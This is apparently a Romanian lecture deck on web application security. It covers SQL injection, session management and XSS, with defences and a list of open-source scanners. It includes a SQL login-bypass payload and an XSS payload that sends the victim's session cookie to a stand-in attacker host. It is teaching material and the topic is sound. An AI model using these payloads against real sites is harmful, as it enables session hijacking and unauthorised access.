Documente Academic
Documente Profesional
Documente Cultură
CUPRINS
1.Caracteristici ale aplica.iilor web
2.Conceptede bazaale securitatii
3.96% din aplica.iileweb au vulnerabilita.i
4.Riscurialesecurita.ii aplica.iilor
5.WASP Top 10 Vulnerabilita.i ale aplica.iilor web
6.Injection
7.Nerespectarea/evitarea autentificarii.i a managementuluisesiunilorCross Site S
cripting
8.Cross-Site Scripting (XSS)
9.Instrumente de scanare
Untestdesecuritateesteometodadeevaluareasecurita.iiunuisistemdecalculsauauneire.e
leprintr-ometodologiedevalidarea.iverificareaaeficien.eicontroalelordesecuritate
aleaplica.iilor.
Untestpentrusecuritateaplica.ieiwebseconcentreazadoarpeevaluareasecurita.iiuneiap
lica.iiweb.
Procesuldetestareimplicaoanalizaactivaaaplica.ieipentrudepistaoricedeficien.a,def
ectetehnicesauvulnerabilita.i.
Oriceproblemadesecuritatecareesteidentificatavafiprezentataproprietaruluisistemul
ui,mpreunacuoevaluareaimpactului,
precum.iopropuneredeatenuaresauosolu.ietehnica.
Concepte de baza ale securitatii
Ovulnerabilitateesteoslabiciunecarepoatedeclansaaccidentalsauintentionatoanumitae
xploatareasistemului.
Osursadeamenintare:oricecircumstantasauevenimentcarearputeaproducepagubentr-unsist
emIT.
Sursadeamenintaresepoatefolosideoanumitavulnerabilitateasistemului.
Osursadeamenintarenupoatereprezentaunriscatuncicndnuexistaovulnerabilitatepecaresa
opoataexploata.
Concepte de baza ale securitatii
Riscurialesecurita.ii aplica.iilor
Aplica.iilewebpotfifolositedeatacatorindiversefeluri,pentruafacerauuneiafacerisauu
neiorganiza.ii.
Fiecareatacpoatereprezintaunrisccarearputea,saunu,safiesuficientdegravpentruaisea
cordaaten.ie.
(sursa: OWASP Top10 2013.pdf)
(sursa: Cenzic_Vulnerability_Report_2014.pdf)
Principalele vulnerabilita.i
CSRF (Cross-Site Request Forgery)
Injection
1.Nn
Agent de
amenin.are
Vectorii de
atac
Vulnerabilita.i de
securitate
Impact
tehnic
Impact
asupra afacerii
Specific
aplica.iei
Exploatabilitate
u.oara
Extinderecomuna
Detectabilitate
medie
Impact sever
Specific afacerii/
aplica.iei
Oricine care
poate trimite
datele nesigure
n sistem,
inclusiv
utilizatori
externi,
utilizatori interni
.i administratori.
Atacatorul trimite
text simplu, care
exploateaza sintaxa
interpretorului vizat.
Aproape orice sursa
de date poate fi un
vector de injectare,
inclusiv surse
interne.
Injection
Injectionflaws(puncteslabedeinjec.ie),cumarfiinjec.iaSQLsauLDAP(LightweightDirect
oryAccessProtocol)apareatuncicnddatecarenuprezintancrederesunttrimiselauninterpret
orcaparteauneicomenzisauauneiinterogari.Dateleatacatoruluipotn.elainterpretorulpr
inexecutareaunorcomenzimodificatesauprinaccesareadatelorneautorizate.
Majoritateaaplica.iilorwebfolosescbazededatepentrustocareadatelor.
LimbajulSQLesteunstandardinterna.ionalcestabile.teregulile.isintaxacomenzilorcare
potfitransmiseunuisistemdegestiuneabazelordedate,
pentrumanipulareadatelorstocate.
SQLInjection
OvulnerabilitatedetipSQLinjectionexistaatuncicndunutilizatorrauinten.ionatpoate:
-introduceoricedatentr-ointerogareSQLtransmisauneibazededate;
-modificalogicadeclaratiei,astfelnctsaseexecuteoactiunediferita,fiindposibilfurtul
datelorprivate.
SQLinjectionesteunadincelemaifrecventevulnerabilita.i fiindunadevaratpericolpentrua
plica.iileweb.
SQLInjection
ncazulunuiatacSQLinjectionreu.it,sepot:
-citidatesensibiledinbazadedate;
-modificadatedinbazadedate(Insert/Update/Delete);
-executaoperatiunideadministrareabazeidedate(cumarfishutdownDBMS);
-recuperareacontinutuluiunuifisierprezentnsistemuldefi.ierealbazeidedate;
-emitereadecomenzipentrusistemuldeoperare.
SQLInjection
FieurmatoareainterogareSQL:
Select*FromusersWhereemail='$login_email'ANDpassword='$login_password
unde:
-$login_email-textulintrodusdeutilizatorlalogarepentrue-mail
-$login_password-textulintrodusncmpulpentruparola.
Daca$login_password=""or""="",comandarezultatavadeveni:
Select*FromusersWhereemail='$login_email'ANDpassword=""or""=""
conditiafinala(valoareapentruparola)vafiadevaratapentruoricee-mail,
conectareasepoatefacefaraasecunoa.teparolacorectapentrue-mailulselectat.
SQLInjectionsebazeazapefaptul""=""estentotdeaunaadevarat.
Injection
Prevenirea injec.iei impune pastrarea datelor nesigure separat de
comenzi .i interogari. Apoi:
.este preferabil sa se utilizeze o interfa.a API sigura sau o interfa.a
parametrizata;
.n cazul n care interfa.a API parametrizata nu este disponibila, trebuie sa se
urmareasca cu aten.ie caracterele speciale;
.se recomandata validarea intrarilor.
Nerespectarea/evitarea autentificarii.i a
managementuluisesiunilor
Agent de
amenin.are
Vectorii de
atac
Vulnerabilita.i de
securitate
Impact
tehnic
Impact asupra
afacerii
Specific aplica.iei
Exploatabilitate
medie
Extinderepe
scara larga
Detectabilitate
medie
Impact sever
Specific afacerii
/aplica.iei
Vor fi lua.i n
considerare
atacatorii externi
anonimi, precum .i
utilizatorii care au
propriile lor conturi
.i care ar putea
ncerca sa ob.ina
informa.ii despre
conturile altora. De
asemenea, multa
aten.ie la
utilizatorii interni,
care doresc sa-.i
ascunda ac.iunile
lor.
Atacatorul
folose.te unele
defecte din
func.iile de
autentificare sau
pentru
managementul
sesiunilor (cum
ar fi, expunerea
conturilor,
parolelor, IDurilor de sesiuni)
pentru a prelua
rolul adevaratului
utilizator.
Dezvoltatorii realizeaza, n
mod frecvent, scheme
personalizate pentru
autentificarea .i managementul
sesiunilor, dar programarea
corecta a acestora este dificila.
Ca rezultat, aceste sisteme
personalizate au frecvente
imperfec.iuni n zonele de
logout, de managementul
parolelor, ntrebari secrete,
actualizari de conturi etc.
Identificarea micilor scapari
poate fi uneori greoaie.
Aceste
imperfec.ini
pot permite
unora sau chiar
tuturor
conturile sa fie
atacate.
Conturi
privilegiate
sunt frecvent
vizate.
Se ia n considerare
valoarea de afacere a
datelor sau func.iilor
aplica.iei afectate;
dar .i impactul
afacerii la expunerea
publica a
vulnerabilita.ii.
Nerespectarea/evitarea autentificarii.i a
managementuluisesiunilor
Identificarea reprezintaproceselesiprocedurilenecesarepentrustabilireauneiidentitat
iunicepentruunutilizatorsauoentitatencadrulunuisistem/aplica.ie.
Identificareapermitecontabilizareatuturoroperatiunilorindividualesiprevineaccesu
lneautorizat.
Autentificarea procedurapentruverificareaidentitatiientitatiicaresolicitaacceslasis
tem/aplica.ie,procesulprincaresistemulvalideazainformatiiledeconectareoferitedee
ntitateautilizatoare.
Atacatorularedouaposibilita.ipentruadepa.iunsistemdeautentificare:
.utilizareaunordatedeidentificare(numeutilizator/parola)ob.inutenmodfraudulos;
.evitareaverificariiautentificarii.
Nerespectarea/evitarea autentificarii.i a
managementuluisesiunilor
Pentruidentificareasimonitorizareaactivita.iiunuiutilizatorpeopaginaweb,
acestuiaiseatribuieuntokenunicdesesiune,deobiceisubformadecookie-uri.
Cookie-ulreprezintaunmecanismstandardcarepermitecaunserverWebsatrimitaanumiteinfo
rma.iipecalculatorulunuiutilizator,prinintermediulbrowser-ului,sasoliciteclientu
luisastochezeacesteinforma.iipentruca,ulterior,navigatorulsaretransmitainforma.i
ilecatreserverulweb.
Uncookieconstadintr-operechenume=valoare
Capacitateaserver-uluiwebdearecunoa.tecaocererefacepartedintr-osuccesiunedecereri
delaacela.iclientesteutila,spreexemplu,pentruaccesareauneizoneprotejatecuparolacazncareutilizatorulseautentificaodata,apoitoatecereriledelaacestclientsuntconsid
erateautentificatepnalalogout.
Nerespectarea/evitarea autentificarii.i a
managementuluisesiunilor
HTTPesteunprotocolstate-less.Prinurmare,unserverwebnupoatedeterminadacaocerereest
elegatalogicdeunaanterioaratransmisadelaacela.iclient.
Cookie-urilesuntfolositedeserverelewebpentruaputeadiferen.iautilizatorii.ipentrua
puteareac.ionanfunc.iedeac.iunileacestorancadruluneisesiuniformatedinmaimultetranz
ac.iiseparate.
Sesiuneaestemecanismulprincaresepermitere.inereainforma.iilordesprestareaclientul
ui.
Cookie-urileaufostinventatepentruaseimplementaunco.decumparaturivirtual:utilizato
rulmaintiseautentifica(login),apoinavigheazapesite,adaugasaueliminanvoieobiectedinc
o.,apoiafi.eazacon.inutulco.ului,cerecalculareapre.uluifinal,sehotara.tesacomand
e(orisarenun.e),iarlasfr.itnchidesesiunea(logout).
Odataautentificat,utilizatorulesteidentificatdoardupacookie-uldesesiune,dacaunata
catorlcompromite,ghicindu-ivaloareasaufurndu-l,reusestesatreacacusuccesdemecanismu
ldeautentificareapaginiirespectivesisaiialoculvictimei.
Nerespectarea/evitarea autentificarii.i a
managementuluisesiunilor
PrinJavaScriptsepoatecrea,citi,.i.terge.icookie-urilecuproprietatea
document.cookie.
.Creareaunuicookie
document.cookie="username=JohnDoe;expires=Thu,
18Dec201412:00:00UTC";
Sepoateadaugadatadeexpirare-nmodimplicit,cookie-uleste.terscndbrowser-ulestenchis.
.Citireaunuicookie
varx=document.cookie;
SintaxapentrucreareaunuicookieprinPHP:
Nerespectarea/evitarea autentificarii.i a
managementuluisesiunilor
Metodedeprevenireavulnerabilitatilorlegatedemanagementulsesiunilor:
.Complexitateaparolelor:restric.ionareaparolelorlaunanumitnumarminimdecaractere,
tipuridecaractere,regulideschimbareaperiodicaaparoleloretc.
.Utilizareaparolelor:utilizatoruluisaiselimitezenumaruldencercaridelogarentr-oanum
itaunitatedetimp,tentativeleesuatesafieconsemnate.
.Schimbareaparolelor:sasefoloseascaunsingurmecanismdeschimbareaparolelorindifere
ntdecircumstantelencareacestlucrusentmpla.
.Stocareaparolelor:toateparoleletrebuiecriptate,indiferentdeloculundesuntstocate
.
.ProtejareaID-uluidesesiune:sesiuneautilizatoruluiartrebuiprotejataprinSSL(nacest
modcookie-uldesesiunenuarputeafipreluatdeentita.ineautorizate).
.Listadeconturi:aplica.iileartrebuiproiectatenasafelnctsanupermitaaccesulutilizator
ilorlalistadeconturidepesite.
XSSpermiteatacatorilorsaexecutescript-urinbrowser-ulvictimei.Cuajutorulscripturilo
rsepotdeturnasesiunideutilizator,.tergesite-uriweb,redirec.ionautilizatorulspres
ite-urimali.ioasesaufuradiferiteinforma.iiutiledespreutilizatori.
Acesttipdeatacnuarecatintaserverulsite-uluiweb,acestafiinddoarogazda,
adevaratatintaaataculuiesteutilizatorul.Vulnerabilitateaestedetipclient-side.
AtacurileXSSsefolosescdedatelecevindinexterior,cumarfi:formulare,webe-mail,fisier
eledetipXMLsauRSS.
2)reflectate.i3)bazatpeDOM.
XSSsedetecteazadestuldeu.orprintestaresauanalizadecod.
Atacatorii pot
executa scripturi n browserul unei victime
.ipotdeturna
sesiunile
utilizatorilor,
.terge site-uri
web, introduce
con.inut ostil,
redirec.iona
utilizatorii etc.
Se va lua n
considerare valoarea
de afacere a
sistemului afectat .i
toate datele pe care
le proceseaza,
precum .i impactul
asupra afacerii prin
expunerea publica a
vulnerabilita.ii.
<formaction= coment.php"method="post">
<inputtype="text"name="comment"value="">
<inputtype="submit"name="submit"value="Submit">
</form>
Dateletransmiseprinformularvorajungelafi.ierulcoment.phpcarelevaprelucra.Dacafi.
ierulcoment.phpcon.ine:
<?phpecho$_POST["comment"];
cumdateledeintrarenformularnusuntvalidate,s-arputeatasta:
<script>alert( Intrarefaravalidare")</script>
nbrowser-ulFirefox,rezultatulvafiofereastradealerta:
value='" +
request.getParameter("CC") + "'>";
Atacatorul modifica parametrul "CC" din browser lui la:
'><script>document.location= 'http://www.attacker.com/cgi-bin
/cookie.cgi? foo='+document.cookie</script>
AcestlucrudeterminacaID-ulsesiuniivictimeisafietrimislasite-ulatacatorului,carev
apermiteatacatoruluisadeturnezesesiuneacurentaautilizatorului.
Instrumente de scanare
Instrumentulpentruscanareasecurita.iiaplica.iilorwebesteun software care
comunicacu o aplica.ieweb .iidentificapoten.ialeledeficien.ede securitateale
acesteia.
Analiza atacurilor (sursa: NIST)
Instrumente de scanare
Unele din cele mai bune instrumente open source de testare a vulnerabilita.ilor
aplica.iilor web sunt (1):
.Grabber(http://rgaucher.info/beta/grabber/ ) detecteaza:
.XSS (Cross site scripting)
.SQL injection
.testareaAjax
.includerea de fi.iere File
.analizor al codului sursa JS
.verificareafi.ierelorde backup
Instrumente de scanare
Unele din cele mai bune instrumente open source de testare a vulnerabilita.ilor
aplica.iilor web sunt (2):
.Vega(https://subgraph.com/vega/ ) detecteaza:
.XSS (Cross site scripting)
.SQL injectionetc.
.Zed Attack Proxy(http://code.google.com/p/zaproxy/)
Instrumente de scanare
RIPS(http://rips-scanner.sourceforge.net/) este un instrument scris n PHP pentru
a gasi vulnerabilita.i n aplica.ii PHP folosind analiza de cod static.
Instrumente de scanare
Compararea instrumentelor pentru detectarea vulnerabilita.ilor XSS
(Cross-Site Scripting)
Instrumente de scanare
Compararea instrumentelor pentru detectarea diferitelor clase de
vulnerabilita.i.
(Sursa:https://www.netsparker.com/blog/news/comparison-web-vulnerability-scanner
s-netsparker/)
Bibliografie
1.https://www.owasp.org/images/0/0f/OWASP_T10_-_2010_rc1.pdf
2.https://www.owasp.org/index.php/Testing_for_DOMbased_Cross_site_scripting_(OWASP-DV-003)
3.http://download.oracle.com/oll/tutorials/SQLInjection/index.htm